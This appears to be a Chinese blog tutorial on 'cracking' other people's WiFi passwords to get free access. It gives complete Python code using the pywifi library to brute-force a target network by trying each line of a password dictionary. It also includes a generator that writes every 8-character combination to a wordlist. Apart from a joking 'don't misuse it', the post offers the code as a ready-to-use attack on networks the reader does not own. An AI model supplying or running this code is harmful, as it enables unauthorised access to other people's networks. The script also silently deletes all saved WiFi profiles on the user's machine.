想蹭网?不知道wifi密码?教你如何破解wifi密码连上wifi
安装pywifi库
因为我已经安装好了,这里就不展示安装成功的信息了
这里有点注意的地方是有些人明明已经安装了pywifi,import pywifi运行的时候却报错,我也试过这样
这里只需要再安装一个comtypes库就行了,只有三百k左右大小,安装方法也是pip install 库就行了,安装好就可以使用pywifi了
验证pywifi是否安装成功,输入import pywifi,help(pywifi)出现以下信息就证明安装成功了
具体代码实现:
import pywifi
from pywifi import const # 引入一个常量
import time
def wifiConnect(wifiname,wifipassword):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 断开连接
ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
profile = pywifi.Profile()
# WiFi名称
profile.ssid = wifiname
# WiFi密码
profile.key = wifipassword
# WiFi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 网卡的开放
profile.auth = const.AUTH_ALG_OPEN
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的WiFi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 连接WiFi
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def read_password():
'''读取密码本'''
print('开始破解:')
path = 'D:\超级密码本.txt'
file = open(path, 'r') # 以只读的方式
while True:
try:
# 按行读取密码本
wifipwd = file.readline()
# 第一个参数是指定 WiFi 名称,第二个参数是读取的密码
bool = wifiConnect('Hello World', wifipwd)
if bool:
print('密码正确:' + wifipwd)
break
else:
print('密码错误:' + wifipwd)
except:
continue
# 关闭资源
file.close()
# 调用方法
read_password()
效果图:
密码正确之后会自动连接到wifi哦,是不是很暴力哈哈,不要随便乱用哈
附:密码生成器
import itertools as its
# 自定义密码生成
words = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%&*?."
# 生成密码本的位数,五位数,repeat=5 自定义密码位数
r = its.product(words, repeat = 8)
# 保存在文件中,追加
dic = open("./password.txt", "a")
# i是元组
for i in r:
# jion空格链接
dic.write("".join(i))
dic.write("".join("\n"))
print("正在生成密码......")
dic.close()
print("密码本已生成")